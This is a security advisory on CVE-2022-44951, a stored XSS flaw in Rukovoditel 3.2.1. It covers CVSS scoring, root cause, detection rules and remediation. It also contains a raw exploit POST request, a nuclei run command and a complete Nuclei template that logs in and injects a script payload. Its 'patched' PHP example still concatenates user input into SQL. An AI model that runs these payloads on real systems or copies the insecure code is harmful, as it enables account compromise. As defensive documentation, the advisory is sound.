CVE-2022-44951

Executive Summary

CVE-2022-44951 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel v3.2.1, specifically within the "Add New Form tab" function at /index.php?module=entities/forms&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Name field, which is then stored and executed in the context of any user viewing the affected form. This vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is classified under CWE-79. The EPSS score is 0.01722%, indicating low exploitation activity in the wild. A public Nuclei template exists for detection, but no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It affects the Rukovoditel web application, which is a PHP-based project management tool. The risk is limited to the application itself and does not extend to the broader software supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the malicious form
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can lead to session hijacking, data theft, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the entities/forms module of Rukovoditel v3.2.1. When an authenticated user creates a new form tab via the Add New Form tab function, the Name parameter is not properly sanitized before being stored in the database. The application fails to encode or escape HTML special characters, allowing an attacker to inject malicious scripts.

Attack Flow:

1. Attacker authenticates to Rukovoditel.
2. Attacker navigates to /index.php?module=entities/forms&entities_id=24.
3. Attacker submits a POST request to /index.php?module=entities/forms&action=save_tab with a crafted name parameter containing a JavaScript payload (e.g., <script>alert(document.domain)</script>).
4. The payload is stored in the database and rendered without sanitization when any user views the form tab.
5. Victim's browser executes the script, leading to XSS impact.

Root Cause: Lack of output encoding or input validation on the Name field. The application does not use functions like htmlspecialchars() or strip_tags() before rendering user input.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel v3.2.1):

// In the form tab creation handler
$name = $_POST['name'];
// Directly stored without sanitization
$sql = "INSERT INTO entities_forms (name, entities_id) VALUES ('$name', '$entities_id')";
// Later rendered without escaping
echo "<div>" . $name . "</div>";

Patched Code (Hypothetical fix):

// Sanitize input
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// Store safely
$sql = "INSERT INTO entities_forms (name, entities_id) VALUES ('$name', '$entities_id')";
// Output with encoding
echo "<div>" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</div>";

The fix involves using htmlspecialchars() on both input and output to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Rukovoditel v3.2.1 instance
• Valid user credentials (low-privilege account)
• Network access to the application

Exploitation Steps:

1. Log in to Rukovoditel.
2. Send a POST request to create a malicious form tab:

POST /index.php?module=entities/forms&action=save_tab HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

form_session_token=TOKEN&entities_id=24&name=%3Cscript%3Ealert(document.cookie)%3C/script%3E&description=

3. Any user viewing the form tab will trigger the XSS payload.

Nuclei Template Usage: The provided Nuclei template automates the exploitation. Run:

nuclei -t CVE-2022-44951.yaml -u http://target.com -id admin,password

Blue Team

Detection:

• Monitor HTTP POST requests to /index.php?module=entities/forms&action=save_tab with suspicious name parameters containing <script> tags.
• Look for anomalous form tab names that contain HTML/JavaScript.

Hunting:

• Search database for stored XSS payloads in the entities_forms table.
• Review web server logs for requests with encoded script tags in the name parameter.

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement Web Application Firewall (WAF) rules to block XSS patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php?module=entities/forms&action=save_tab with name parameter containing <script> tags.
  • HTTP responses containing <script>alert(document.domain)</script> in form tab names.

• Host IOCs:

  • Database entries in entities_forms table with name field containing HTML/JavaScript.
  • Web server logs showing encoded script payloads in name parameter.

• File IOCs:

  • No specific file-based IOCs; the vulnerability is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2022_44951_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads for CVE-2022-44951 in Rukovoditel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-44951"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $name_field = /name=[^&]*<script/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-44951 Stored XSS in Rukovoditel
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel v3.2.1
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=entities/forms&action=save_tab*'
        cs-uri-query|contains: 'name=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in form names (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-44951 Stored XSS in Rukovoditel"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=entities/forms&action=save_tab"; http_uri; content:"name="; http_client_body; pcre:"/name=[^&]*<script/Ri"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-44951

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Form tab function at /index.php?module=entities/forms&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/11
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44951
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44951
    cwe-id: CWE-79
    epss-score: 0.01722
    epss-percentile: 0.82485
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/forms&action=save_tab&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&entities_id=24&name=%3cscript%3ealert(document.domain)%3c%2fscript%3e&description=

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a00473045022100c81f2c16bb2316768a98bbb574dc6075a4e88d6800b9e8108aa73f13229a842b0220556a744b5b547b0bcb619bb24302d4a83584e5b47c7ed3dd11d0868f353c9a87:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Rukovoditel to a version higher than 3.2.1 if available.
2. Apply input validation – sanitize the Name field using htmlspecialchars() or strip_tags().
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Deploy WAF rules to block requests containing <script> tags in form parameters.

Long-term Fixes:

• Conduct a code review to identify all user input points and apply proper sanitization.
• Use parameterized queries to prevent SQL injection (though not the primary issue here).
• Regularly update the application to the latest version.

Detection:

• Monitor logs for XSS patterns.
• Use the provided YARA, Sigma, and Suricata rules for automated detection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: C70168F3E2A26790D17A7EC1] */}